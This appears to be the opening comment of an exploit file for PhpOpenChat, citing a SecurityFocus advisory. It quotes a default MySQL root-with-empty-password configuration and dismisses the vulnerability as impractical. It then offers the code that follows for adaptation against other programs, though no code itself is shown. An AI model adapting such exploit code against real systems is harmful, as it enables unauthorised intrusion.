/*  
this is based on  
  
http://www.securityfocus.com/bid/16187  
  
but... look at the server.php source code:  
  
...  
$driver = 'mysql';  
$host = 'localhost'; // DSN for odbc  
$uid = 'root';  
$pwd = '';  
$database = 'test';  
...  
  
you need a "root" user with no password, an existing "test" database  
and Mysql to have certain rights to write files...  
so, this vulnerability is... in sf dreams  
however, if you want to loose time to test a vulnerability that does not exist,  
here is the code for PhpOpenChat, you can easily change it to work against  
the program you want
